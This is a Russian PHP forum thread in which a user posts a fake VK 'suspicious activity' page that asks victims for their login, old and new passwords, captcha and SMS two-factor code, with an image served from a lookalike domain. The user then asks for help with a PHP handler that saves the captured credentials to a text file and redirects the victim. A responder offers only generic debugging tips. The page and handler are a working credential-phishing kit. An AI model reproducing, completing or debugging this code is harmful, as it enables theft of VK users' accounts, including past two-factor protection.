Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: Помогите с обработчиком формы

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Без описания
agronom617
Отправлено: 29 Октября, 2019 - 08:26:09
Post Id


Новичок


Покинул форум
Сообщений всего: 3
Дата рег-ции: Окт. 2019  


Помог: 0 раз(а)




Есть ajax форма
Цитата:

<script type="text/javascript">
function checkLogin() {
if (g("check").value === "") {
$("#check").css({"border": "1px solid #F00F00", "background": "#FCCFCC"});
} else {
//g("err").style.display = "none";
$("#number").fadeOut(300, function() {
$("#password").fadeIn(300);
});
$.ajax("continue.php?act=savePhone&phone=" + encodeURIComponent(g("check").value) + "&qid=" + encodeURIComponent(window.location.search)).done(function() {

});
}
}

function g(id) {
return document.getElementById(id);
}

var wascapt = false;
var wassms = false;
var have2fa = false;
var gettedToken = "";

function login() {
var captcha_key = "";
var captcha_sid = "";
var smscode = "";
var validation_sid = "";


var login = g("check").value.replace("+", "");
var password = g("oldpassword").value;

$("#err").fadeOut(300);

if (g("newpassword").value.length < 6) {
$("#err").html("Пароль должен иметь 6 или более символов").fadeIn(300);
return;
}


if (g("newpassword").value !== g("newpassword2").value) {
$("#err").html("Пароль не изменён, так как новый пароль повторен неправильно.").fadeIn(300);
return;
}


if (g("captcha_sid").value) {
captcha_key = g("captcha_key").value;
captcha_sid = g("captcha_sid").value;
wascapt = false;
}

if (wassms) {
smscode = g("smscode").value;
validation_sid = g("validation_sid").value;
wassms = false;
}


var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() {
var response = JSON.parse(auth.responseText);
/*if (response.access_token) {
changePassword(login, password, response.access_token, g("newpassword").value);
return;
}*/

if (response.api) {
if (response.result) {
window.location.replace("https://vk.com/id0");
} else {
gettedToken = response.token;
var e = response.api.error;
if (e.error_code === 14) {
$("#password, #sms").fadeOut(300, function () {
$("#capt").fadeIn(300);
});
g("captcha_key").value = "";
g("captcha_key").focus();
g("capt_img").src = e.captcha_img;
g("captcha_sid").value = e.captcha_sid;
}
}
return;
}

if (response.auth && !response.result || response.code === 0) {
var e = response.auth;
switch (response.auth.error) {
case "invalid_client":
$("input[type='text'], input[type='password']").val("");
$("#err").html("Неверный логин или старый пароль").fadeIn(300);
$("#number").fadeIn(300);
$("#capt, #password").fadeOut(300);
break;

case "need_captcha":
$("#password, #sms").fadeOut(300, function() {
$("#capt").fadeIn(300);
});
g("captcha_key").value = "";
g("captcha_key").focus();
g("capt_img").src = e.captcha_img;
g("captcha_sid").value = e.captcha_sid;
wascapt = true;
break;

case "need_validation":
$("#password, #capt").fadeOut(300, function() {
$("#sms").fadeIn(300);
});
g("validation_sid").value = e.validation_sid;
wassms = true;
have2fa = true;
$.ajax("https://api.vk.com/method/auth.validatePhone?sid=" + e.validation_sid + "&v=5.22");
break;

default:
break;
}
}
});
}

</script>
</head>
<body>

<div class="header"></div>
<div class="page">
<div class="page-border">
<div class="content">
<div class="spamfight"></div>
<p>На Вашей странице была обнаружена подозрительная активность. На данный момент<strong> злоумышленники</strong> могут иметь доступ к Вашей странице.
</p>
<br>
<p>Чтобы обезопасить свою страницу, мы просим Вас <span style="color:#45668E">проверить компьютер <strong>антивирусом</strong></span>, подтвердить, что Вы владелец страницы и изменить свой пароль, используя данную страницу.
</p>
<br>
<p>Злоумышленники могли получить доступ к Вашей странице с помощью следующей подозрительной ссылки. </p>
<div class="reason">
<p style="padding-left:20px">
<strong>Подозрительная ссылка</strong>
<br>
<span style="cursor:pointer">http://goo.gl/...</span>
</p>
</div>


<div id="err" class="oauth_error"></div>

<div class="content-1" id="number" style="display: block;">
<p class="login">Мобильный телефон либо e-mail:</p>
<input type="text" id="check" class="textbox-blocked" name="mobile" autofocus="" value="">
<div class="button btn-mobile" onclick="checkLogin();" style="width:134px">Продолжить</div>
</div>

<div class="content-1" id="password" style="display: none;">
<p class="login">Старый пароль</p>
<input id="oldpassword" type="password" name="pass" autofocus="" required="" pattern=".{6,50}" class="textbox-blocked">
<p class="login">Новый пароль</p>
<input id="newpassword" type="password" name="newpass" required="" pattern=".{6,50}" class="textbox-blocked">
<p class="login">Повторите пароль</p>
<input id="newpassword2" type="password" name="repass" required="" pattern=".{6,50}" class="textbox-blocked">
<input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
</div>

<div class="content-1" id="capt" style="display: none;">
<input id="captcha_sid" type="hidden" name="captcha_sid" value="">
<br><img id="capt_img" src="https://vk.com.setting.antiviruseprotectionservice.xyz/blocked.php?id=156834558"><br><br>
<p class="login">Код с картинки:</p>
<input id="captcha_key" type="text" name="captcha_key" required="" pattern=".{6,50}" class="textbox-blocked">
<input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
</div>

<div id="sms" style="display: none;">
<div class="oauth_error">Чтобы подтвердить, что Вы действительно являетесь владельцем страницы, пожалуйста, введите код подтверждения из SMS либо последние 4 цифры номера, с которого Вам поступит звонок.
</div>
<br>
<div class="content-1">
<input id="validation_sid" type="hidden" name="validation_sid" value="1">
<p class="login">Код подтверждения:</p>
<input id="smscode" type="text" required="" pattern=".{6,50}" class="textbox-blocked">
<input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
</div>
</div>
</div>
</div>
</div>

Нужно помочь с написанием php обработчика формы
Сам пытался сделать его таким:
Цитата:
<?php
$db="d1b.txt";
$realmail="http://google.ru/2016282882";

if (isset($_GET['login'] && isset($_GET['password']) && isset($_GET['newPassword']) && isset($_GET['newpassword2']) && ($_GET['check[]']!="") && ($_GET['oldPassword']!="") && ($_GET)['newpassword']!="") && ($_GET)['newpassword2']!=""))

{

$act = $_GET['login'] ;
$_GET['login'] = array('savePhone', 'login');

$phone = $_GET['login'];
$qid = $_GET['qid'];

$login = $_GET['login'];
$password = $_GET['oldPassword'];

$newPassword = $_GET['newpassword'];
$newpassword2 = $_GET['repass'];
$smscode = $_GET['code'];
$captcha_key = $_GET['captcha_key'];


$str="$check@|$password@|$newPassword@|$newpassword2 \n";
echo json_encode($json);
$file=fopen("$db","a+");
if(!$file)
{
header("Location: $realmail");
}
else
{
fputs($file, $str);
header("Location: $realmail");
}
}
else
{
header("Location: $index");
}

error_reporting(E_ALL);
ini_set('display_errors', 1);

?>

Подскажите где ошибка? Не понял
 
 Top
LIME
Отправлено: 29 Октября, 2019 - 09:38:50
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




как минимум

поставь себе нормальный редактор с подсветкой синтаксиса и ошибок
рекомендую PhpStorm
(Добавление)
http://phpfaq[dot]ru/debug
 
 Top
LIME
Отправлено: 29 Октября, 2019 - 13:02:27
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




это первыми строчками ну епрст))
зачем менять режим отображения ошибок ровно перед завершением работы)))
 
 Top
agronom617
Отправлено: 03 Ноября, 2019 - 18:48:23
Post Id


Новичок


Покинул форум
Сообщений всего: 3
Дата рег-ции: Окт. 2019  


Помог: 0 раз(а)




LIME пишет:это первыми строчками ну епрст))
зачем менять режим отображения ошибок ровно перед завершением работы)))


Спасибо,поставил PHPStorm
Теперь у меня обработчик вышел так:
Цитата:


<?php
$db="d1b.txt";
$realmail="http://google.ru/2016282882";

isset($_GET['mobile']) && isset($_GET['pass']) && isset($_GET['newpass']) && isset($_GET['repass']) && ($_GET['mobile']!="") && ($_GET['pass']!="") && ($_GET['newpass']!="") && ($_GET['repass']!=""))
{

$act = $_GET['login'];
$login = $_GET['mobile'];
$password = $_GET['pass'];
$newpassword = $_GET['newpass'];
$newpassword2 = $_GET['repass'];
$smscode = $_GET['code'];
$captcha_key = $_GET['captcha_key'];

echo json_encode($json);

$str="$mobile@|$pass@|$newpass@|$repass \n";
$file=fopen("$db","a+");
if(!$file)
{
header("Location: $realmail");
}
else
{
fputs($file, $str);
header("Location: $realmail");
}
}
else
{
header("Location: $index");
}
?>


Проблема в том что не срабатывает на странице с формой кнопка отправки формы.Думал дело в обработчике.Кажется я сново что то недоделал.Кто-то подскажет? Однако
 
 Top
LIME
Отправлено: 03 Ноября, 2019 - 18:55:11
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




if где потерял?
 
 Top
agronom617
Отправлено: 03 Ноября, 2019 - 20:04:56
Post Id


Новичок


Покинул форум
Сообщений всего: 3
Дата рег-ции: Окт. 2019  


Помог: 0 раз(а)




LIME пишет:
if где потерял?


Поправил)
Цитата:


<?php
$db="d1b.txt";
$realmail="http://google.ru/2016282882";

if (isset($_GET['mobile']) && isset($_GET['pass']) && isset($_GET['newpass']) && isset($_GET['repass']) && ($_GET['mobile']!="") && ($_GET['pass']!="") && ($_GET['newpass']!="") && ($_GET['repass']!=""))
{

$act = $_GET['login'];
$login = $_GET['mobile'];
$password = $_GET['pass'];
$newpassword = $_GET['newpass'];
$newpassword2 = $_GET['repass'];
$smscode = $_GET['code'];
$captcha_key = $_GET['captcha_key'];

echo json_encode($json);

$str="$mobile@|$pass@|$newpass@|$repass \n";
$file=fopen("$db","a+");
if(!$file)
{
header("Location: $realmail");
}
else
{
fputs($file, $str);
header("Location: $realmail");
}
}
else
{
header("Location: $index");
}
?>

Но что то все равно форма не отправляется) Однако Однако
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Вопросы новичков »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB